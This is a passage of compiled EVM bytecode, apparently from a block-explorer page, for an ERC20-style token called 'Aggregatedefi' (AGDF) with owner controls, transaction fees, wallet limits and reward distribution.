73ffffffffffffffffffffffffffffffffffffffff1684611b10565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000807355bba85ec1d2db1258eafb6353a51614b9cd8c10426040518863ffffffff1660e01b8152600401613a1a9695949392919061502b565b60606040518083038185885af1158015613a38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613a5d91906150a1565b5050505050565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613ac191906142a6565b602060405180830381865afa158015613ade573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613b0291906150f4565b90506000600267ffffffffffffffff811115613b2157613b20614e67565b5b604051908082528060200260200182016040528015613b4f5781602001602082028036833780820191505090505b509050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613bbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613be39190614eab565b81600081518110613bf757613bf661482f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110613c6857613c6761482f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008430426040518663ffffffff1660e01b8152600401613d059493929190615121565b6000604051808303818588803b158015613d1e57600080fd5b505af1158015613d32573d6000803e3d6000fd5b50505050506000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401613db691906142a6565b602060405180830381865afa158015613dd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613df791906150f4565b90506000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613e5691906142a6565b602060405180830381865afa158015613e73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e9791906150f4565b90506000613eae858361251a90919063ffffffff16565b90506000613f72613ec885856125c990919063ffffffff16565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613f2391906142a6565b602060405180830381865afa158015613f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f6491906150f4565b61251a90919063ffffffff16565b9050613f9b613f8a82846125c990919063ffffffff16565b601a546125c990919063ffffffff16565b601a81905550613fde613fcd601954613fbf85601d5461253090919063ffffffff16565b61254690919063ffffffff16565b601c546125c990919063ffffffff16565b601c8190555050505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561402757808201518184015260208101905061400c565b60008484015250505050565b6000601f19601f8301169050919050565b600061404f82613fed565b6140598185613ff8565b9350614069818560208601614009565b61407281614033565b840191505092915050565b600060208201905081810360008301526140978184614044565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006140cf826140a4565b9050919050565b6140df816140c4565b81146140ea57600080fd5b50565b6000813590506140fc816140d6565b92915050565b6000819050919050565b61411581614102565b811461412057600080fd5b50565b6000813590506141328161410c565b92915050565b6000806040838503121561414f5761414e61409f565b5b600061415d858286016140ed565b925050602061416e85828601614123565b9150509250929050565b60008115159050919050565b61418d81614178565b82525050565b60006020820190506141a86000830184614184565b92915050565b6141b781614178565b81146141c257600080fd5b50565b6000813590506141d4816141ae565b92915050565b600080604083850312156141f1576141f061409f565b5b60006141ff858286016140ed565b9250506020614210858286016141c5565b9150509250929050565b61422381614102565b82525050565b600060208201905061423e600083018461421a565b92915050565b60008060006060848603121561425d5761425c61409f565b5b600061426b868287016140ed565b935050602061427c868287016140ed565b925050604061428d86828701614123565b9150509250925092565b6142a0816140c4565b82525050565b60006020820190506142bb6000830184614297565b92915050565b6000602082840312156142d7576142d661409f565b5b60006142e5848285016140ed565b91505092915050565b600060ff82169050919050565b614304816142ee565b82525050565b600060208201905061431f60008301846142fb565b92915050565b60008060006060848603121561433e5761433d61409f565b5b600061434c86828701614123565b935050602061435d86828701614123565b925050604061436e86828701614123565b9150509250925092565b600080600080600080600080610100898b0312156143995761439861409f565b5b60006143a78b828c01614123565b98505060206143b88b828c01614123565b97505060406143c98b828c01614123565b96505060606143da8b828c01614123565b95505060806143eb8b828c01614123565b94505060a06143fc8b828c01614123565b93505060c061440d8b828c01614123565b92505060e061441e8b828c01614123565b9150509295985092959890939650565b6000806000606084860312156144475761444661409f565b5b600061445586828701614123565b9350506020614466868287016140ed565b925050604061447786828701614123565b9150509250925092565b6000606082019050614496600083018661421a565b6144a3602083018561421a565b6144b0604083018461421a565b949350505050565b600080604083850312156144cf576144ce61409f565b5b60006144dd858286016140ed565b92505060206144ee858286016140ed565b9150509250929050565b6000614503826140a4565b9050919050565b614513816144f8565b811461451e57600080fd5b50565b6000813590506145308161450a565b92915050565b60006020828403121561454c5761454b61409f565b5b600061455a84828501614521565b91505092915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000614599600683613ff8565b91506145a482614563565b602082019050919050565b600060208201905081810360008301526145c88161458c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061460982614102565b915061461483614102565b925082820261462281614102565b91508282048414831517614639576146386145cf565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061467a82614102565b915061468583614102565b92508261469557614694614640565b5b828204905092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b60006146fc602e83613ff8565b9150614707826146a0565b604082019050919050565b6000602082019050818103600083015261472b816146ef565b9050919050565b60006040820190506147476000830185614297565b614754602083018461421a565b9392505050565b60008151905061476a816141ae565b92915050565b6000602082840312156147865761478561409f565b5b60006147948482850161475b565b91505092915050565b7f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60008201527f6f7265207468616e203230250000000000000000000000000000000000000000602082015250565b60006147f9602c83613ff8565b91506148048261479d565b604082019050919050565b60006020820190508181036000830152614828816147ec565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061486982614102565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361489b5761489a6145cf565b5b600182019050919050565b60006148b182614102565b91506148bc83614102565b92508282019050808211156148d4576148d36145cf565b5b92915050565b6000819050919050565b60006148ff6148fa6148f5846140a4565b6148da565b6140a4565b9050919050565b6000614911826148e4565b9050919050565b600061492382614906565b9050919050565b61493381614918565b82525050565b600060208201905061494e600083018461492a565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006149b0602483613ff8565b91506149bb82614954565b604082019050919050565b600060208201905081810360008301526149df816149a3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614a42602283613ff8565b9150614a4d826149e6565b604082019050919050565b60006020820190508181036000830152614a7181614a35565b9050919050565b6000614a8382614102565b9150614a8e83614102565b9250828203905081811115614aa657614aa56145cf565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614b37602583613ff8565b9150614b4282614adb565b604082019050919050565b60006020820190508181036000830152614b6681614b2a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614bc9602383613ff8565b9150614bd482614b6d565b604082019050919050565b60006020820190508181036000830152614bf881614bbc565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000614c5b602983613ff8565b9150614c6682614bff565b604082019050919050565b60006020820190508181036000830152614c8a81614c4e565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b6000614ced603183613ff8565b9150614cf882614c91565b604082019050919050565b60006020820190508181036000830152614d1c81614ce0565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b6000614d59600e83613ff8565b9150614d6482614d23565b602082019050919050565b60006020820190508181036000830152614d8881614d4c565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000614dc5601e83613ff8565b9150614dd082614d8f565b602082019050919050565b60006020820190508181036000830152614df481614db8565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b6000614e31601183613ff8565b9150614e3c82614dfb565b602082019050919050565b60006020820190508181036000830152614e6081614e24565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614ea5816140d6565b92915050565b600060208284031215614ec157614ec061409f565b5b6000614ecf84828501614e96565b91505092915050565b6000819050919050565b6000614efd614ef8614ef384614ed8565b6148da565b614102565b9050919050565b614f0d81614ee2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614f48816140c4565b82525050565b6000614f5a8383614f3f565b60208301905092915050565b6000602082019050919050565b6000614f7e82614f13565b614f888185614f1e565b9350614f9383614f2f565b8060005b83811015614fc4578151614fab8882614f4e565b9750614fb683614f66565b925050600181019050614f97565b5085935050505092915050565b600060a082019050614fe6600083018861421a565b614ff36020830187614f04565b81810360408301526150058186614f73565b90506150146060830185614297565b615021608083018461421a565b9695505050505050565b600060c0820190506150406000830189614297565b61504d602083018861421a565b61505a6040830187614f04565b6150676060830186614f04565b6150746080830185614297565b61508160a083018461421a565b979650505050505050565b60008151905061509b8161410c565b92915050565b6000806000606084860312156150ba576150b961409f565b5b60006150c88682870161508c565b93505060206150d98682870161508c565b92505060406150ea8682870161508c565b9150509250925092565b60006020828403121561510a5761510961409f565b5b60006151188482850161508c565b91505092915050565b60006080820190506151366000830187614f04565b81810360208301526151488186614f73565b90506151576040830185614297565b615164606083018461421a565b9594505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220acfeaad9d5f1766ea3e7f5770282a48cffcb8a05aa32fe3071823e4af53c7db664736f6c63430008110033

Deployed Bytecode

0x6080604052600436106102345760003560e01c806370a082311161012e578063a9059cbb116100ab578063dd62ed3e1161006f578063dd62ed3e14610862578063e87655cf1461089f578063efca2eed146108ca578063f2fde38b146108f5578063ffd49c841461091e5761023b565b8063a9059cbb14610769578063b56f742c146107a6578063be3bd137146107cf578063c1fe3e48146107f8578063ce7c2ac2146108235761023b565b80639358928b116100f25780639358928b1461069457806395d89b41146106bf578063997664d7146106ea578063a701f3de14610715578063a8aa1b311461073e5761023b565b806370a08231146105af578063715018a6146105ec57806377369b8014610603578063893d20e8146106405780638cd4426d1461066b5761023b565b8063313ce567116101bc5780634c2f840b116101805780634c2f840b146104b65780634fab0ae8146104f35780635a0ce6761461051e57806360e719621461054757806370338b8a146105725761023b565b8063313ce567146103cf5780633a98ef39146103fa5780633f4218e01461042557806341f6c98614610462578063420bbf201461048b5761023b565b8063209861e211610203578063209861e2146102fc57806323b872dd14610313578063293230b8146103505780632b0290e0146103675780632f54bf6e146103925761023b565b806306fdde0314610240578063095ea7b31461026b5780631605952a146102a857806318160ddd146102d15761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b50610255610949565b604051610262919061407d565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190614138565b610986565b60405161029f9190614193565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca91906141da565b61099d565b005b3480156102dd57600080fd5b506102e6610a69565b6040516102f39190614229565b60405180910390f35b34801561030857600080fd5b50610311610a73565b005b34801561031f57600080fd5b5061033a60048036038101906103359190614244565b610a7e565b6040516103479190614193565b60405180910390f35b34801561035c57600080fd5b50610365610b49565b005b34801561037357600080fd5b5061037c610bae565b60405161038991906142a6565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b491906142c1565b610bc6565b6040516103c69190614193565b60405180910390f35b3480156103db57600080fd5b506103e4610c1f565b6040516103f1919061430a565b60405180910390f35b34801561040657600080fd5b5061040f610c28565b60405161041c9190614229565b60405180910390f35b34801561043157600080fd5b5061044c600480360381019061044791906142c1565b610c2e565b6040516104599190614193565b60405180910390f35b34801561046e57600080fd5b5061048960048036038101906104849190614325565b610c4e565b005b34801561049757600080fd5b506104a0610cb0565b6040516104ad91906142a6565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d891906142c1565b610cc8565b6040516104ea9190614229565b60405180910390f35b3480156104ff57600080fd5b50610508610de1565b6040516105159190614229565b60405180910390f35b34801561052a57600080fd5b5061054560048036038101906105409190614325565b610de7565b005b34801561055357600080fd5b5061055c610f47565b6040516105699190614229565b60405180910390f35b34801561057e57600080fd5b50610599600480360381019061059491906142c1565b610f4d565b6040516105a69190614229565b60405180910390f35b3480156105bb57600080fd5b506105d660048036038101906105d191906142c1565b610f9e565b6040516105e39190614229565b60405180910390f35b3480156105f857600080fd5b50610601610fe7565b005b34801561060f57600080fd5b5061062a600480360381019061062591906142c1565b6110aa565b6040516106379190614193565b60405180910390f35b34801561064c57600080fd5b506106556110ca565b60405161066291906142a6565b60405180910390f35b34801561067757600080fd5b50610692600480360381019061068d9190614138565b6110f3565b005b3480156106a057600080fd5b506106a96111be565b6040516106b69190614229565b60405180910390f35b3480156106cb57600080fd5b506106d46111ff565b6040516106e1919061407d565b60405180910390f35b3480156106f657600080fd5b506106ff61123c565b60405161070c9190614229565b60405180910390f35b34801561072157600080fd5b5061073c60048036038101906107379190614378565b611242565b005b34801561074a57600080fd5b5061075361136c565b60405161076091906142a6565b60405180910390f35b34801561077557600080fd5b50610790600480360381019061078b9190614138565b611392565b60405161079d9190614193565b60405180910390f35b3480156107b257600080fd5b506107cd60048036038101906107c8919061442e565b6113a9565b005b3480156107db57600080fd5b506107f660048036038101906107f191906141da565b6118b0565b005b34801561080457600080fd5b5061080d611953565b60405161081a91906142a6565b60405180910390f35b34801561082f57600080fd5b5061084a600480360381019061084591906142c1565b611979565b60405161085993929190614481565b60405180910390f35b34801561086e57600080fd5b50610889600480360381019061088491906144b8565b6119a3565b6040516108969190614229565b60405180910390f35b3480156108ab57600080fd5b506108b4611a2a565b6040516108c191906142a6565b60405180910390f35b3480156108d657600080fd5b506108df611a42565b6040516108ec9190614229565b60405180910390f35b34801561090157600080fd5b5061091c60048036038101906109179190614536565b611a48565b005b34801561092a57600080fd5b50610933611b0a565b6040516109409190614229565b60405180910390f35b60606040518060400160405280600d81526020017f4167677265676174656465666900000000000000000000000000000000000000815250905090565b6000610993338484611b10565b6001905092915050565b6109a633610bc6565b6109e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dc906145af565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015610a5257610a4d826000611cd9565b610a65565b610a6482610a5f84610f9e565b611cd9565b5b5050565b6000600154905090565b610a7c33611eeb565b565b6000610a8b84848461217e565b610b3e8433610b398560405180606001604052806028815260200161516e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124939092919063ffffffff16565b611b10565b600190509392505050565b610b5233610bc6565b610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b88906145af565b60405180910390fd5b6001600a60146101000a81548160ff021916908315150217905550565b7355bba85ec1d2db1258eafb6353a51614b9cd8c1081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60195481565b60086020528060005260406000206000915054906101000a900460ff1681565b610c5733610bc6565b610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d906145af565b60405180910390fd5b826023819055508160248190555080602581905550505050565b7325f90ea62012e6843e1a11e3d437c5f42db1430e81565b600080602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015403610d1c5760009050610ddc565b6000610d69602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546124e8565b90506000602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050808211610dc457600092505050610ddc565b610dd7818361251a90919063ffffffff16565b925050505b919050565b60245481565b610df033610bc6565b610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e26906145af565b60405180910390fd5b600061271084610e3d610a69565b610e4791906145fe565b610e51919061466f565b9050600061271084610e61610a69565b610e6b91906145fe565b610e75919061466f565b9050600061271084610e85610a69565b610e8f91906145fe565b610e99919061466f565b90508260028190555081600381905550806004819055506000610ee16103e8610ed36005610ec5610a69565b61253090919063ffffffff16565b61254690919063ffffffff16565b9050808410158015610ef35750808310155b8015610eff5750808210155b610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3590614712565b60405180910390fd5b50505050505050565b60255481565b600080829050602160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154915050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ff033610bc6565b61102f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611026906145af565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516110a091906142a6565b60405180910390a1565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110fc33610bc6565b61113b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611132906145af565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401611176929190614732565b6020604051808303816000875af1158015611195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b99190614770565b505050565b60006111fa6111cd6000610f9e565b6111ec6111db61dead610f9e565b60015461251a90919063ffffffff16565b61251a90919063ffffffff16565b905090565b60606040518060400160405280600481526020017f4147444600000000000000000000000000000000000000000000000000000000815250905090565b601a5481565b61124b33610bc6565b61128a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611281906145af565b60405180910390fd5b87600b8190555086600c8190555085600f8190555084600d8190555083600e819055508260108190555081601181905550806012819055506112d8600560135461254690919063ffffffff16565b6010541115801561130057506112fa600560135461254690919063ffffffff16565b60115411155b8015611323575061131d600560135461254690919063ffffffff16565b60125411155b611362576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113599061480f565b60405180910390fd5b5050505050505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061139f33848461217e565b6001905092915050565b6000601e8054905090506000339050600082036113c75750506118ab565b6000805a9050600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661157b575b888410801561147257508582105b156115765785602254106114895760006022819055505b6114d2601e602254815481106114a2576114a161482f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661255c565b1561152157611520601e602254815481106114f0576114ef61482f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611eeb565b5b6115466115375a8561251a90919063ffffffff16565b856125c990919063ffffffff16565b93505a92506022600081548092919061155e9061485e565b9190505550818061156e9061485e565b925050611464565b6118a4565b600061158686610cc8565b90506115da88600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251a90919063ffffffff16565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550878261162991906148a6565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008111156118a25761168a81601b546125c990919063ffffffff16565b601b81905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff1660e01b81526004016116ed929190614732565b6020604051808303816000875af115801561170c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117309190614770565b5042602060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ca81602160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546125c990919063ffffffff16565b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555061185b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546124e8565b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b505b5050505050505b505050565b6118b933610bc6565b6118f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ef906145af565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60216020528060005260406000206000915090508060000154908060010154908060020154905083565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7355bba85ec1d2db1258eafb6353a51614b9cd8c1081565b601b5481565b611a5133610bc6565b611a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a87906145af565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611aff9190614939565b60405180910390a150565b60235481565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b76906149c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be590614a58565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ccc9190614229565b60405180910390a3505050565b600081118015611d2b57506000602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154145b15611d3e57611d39826125df565b611da0565b600081148015611d9057506000602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154115b15611d9f57611d9e8261268e565b5b5b611e0981611dfb602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015460195461251a90919063ffffffff16565b6125c990919063ffffffff16565b60198190555080602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550611ea1602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546124e8565b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505050565b6000602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154031561217b576000611f4182610cc8565b9050600081111561217957611f6181601b546125c990919063ffffffff16565b601b81905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401611fc4929190614732565b6020604051808303816000875af1158015611fe3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120079190614770565b5042602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120a181602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546125c990919063ffffffff16565b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550612132602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546124e8565b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b505b50565b612189838383612895565b6121938383612a06565b61219e838383612b03565b6121a88383612cdc565b6121b3838383612da7565b6121bd8383612fdc565b61220f81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251a90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061225e8484613003565b6122685781612274565b6122738484846130b1565b5b90506122c881600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c990919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123689190614229565b60405180910390a3600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166123d4576123d3846123ce86610f9e565b611cd9565b5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612438576124378361243285610f9e565b611cd9565b5b6000602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154111561248d5761248c83611eeb565b5b50505050565b60008383111582906124db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d2919061407d565b60405180910390fd5b5082840390509392505050565b6000612513601d54612505601c548561253090919063ffffffff16565b61254690919063ffffffff16565b9050919050565b600081836125289190614a78565b905092915050565b6000818361253e91906145fe565b905092915050565b60008183612554919061466f565b905092915050565b600042602354602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac91906148a6565b1080156125c257506024546125c083610cc8565b115b9050919050565b600081836125d791906148a6565b905092915050565b601e80549050601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601e819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e6001601e805490506126a29190614a78565b815481106126b3576126b261482f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601e601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815481106127315761273061482f565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601f60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601f6000601e6001601e805490506127d19190614a78565b815481106127e2576127e161482f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601e80548061285d5761285c614aac565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fb90614b4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffff